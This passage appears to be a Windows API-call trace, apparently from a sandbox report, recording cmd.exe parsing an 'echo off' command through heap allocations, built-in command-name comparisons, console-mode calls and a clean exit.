_wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0033.712] GetProcessHeap () returned 0x540000 [0033.712] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x58) returned 0x5407f0 [0033.712] GetProcessHeap () returned 0x540000 [0033.712] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x12) returned 0x553e88 [0033.712] GetProcessHeap () returned 0x540000 [0033.712] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x12) returned 0x553ea8 [0033.713] GetConsoleTitleW (in: lpConsoleTitle=0x23f860, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.713] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0033.714] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0033.714] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0033.714] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0033.714] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0033.714] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0033.714] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0033.714] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0033.714] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0033.714] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0033.714] GetProcessHeap () returned 0x540000 [0033.714] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1c) returned 0x540890 [0033.714] GetProcessHeap () returned 0x540000 [0033.714] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x540890, Size=0x12) returned 0x553ec8 [0033.714] GetProcessHeap () returned 0x540000 [0033.714] RtlSizeHeap (HeapHandle=0x540000, Flags=0x0, MemoryPointer=0x553ec8) returned 0x12 [0033.714] GetProcessHeap () returned 0x540000 [0033.714] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1c) returned 0x540890 [0033.714] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0033.714] _get_osfhandle (_FileHandle=1) returned 0x7 [0033.714] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0033.715] _get_osfhandle (_FileHandle=1) returned 0x7 [0033.715] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4041ac | out: lpMode=0x4a4041ac) returned 1 [0033.715] _get_osfhandle (_FileHandle=0) returned 0x3 [0033.715] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4041b0 | out: lpMode=0x4a4041b0) returned 1 [0033.715] SetConsoleInputExeNameW () returned 0x1 [0033.715] GetConsoleOutputCP () returned 0x1b5 [0033.715] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a404260 | out: lpCPInfo=0x4a404260) returned 1 [0033.715] SetThreadUILanguage (LangId=0x0) returned 0x409 [0033.715] exit (_Code=0)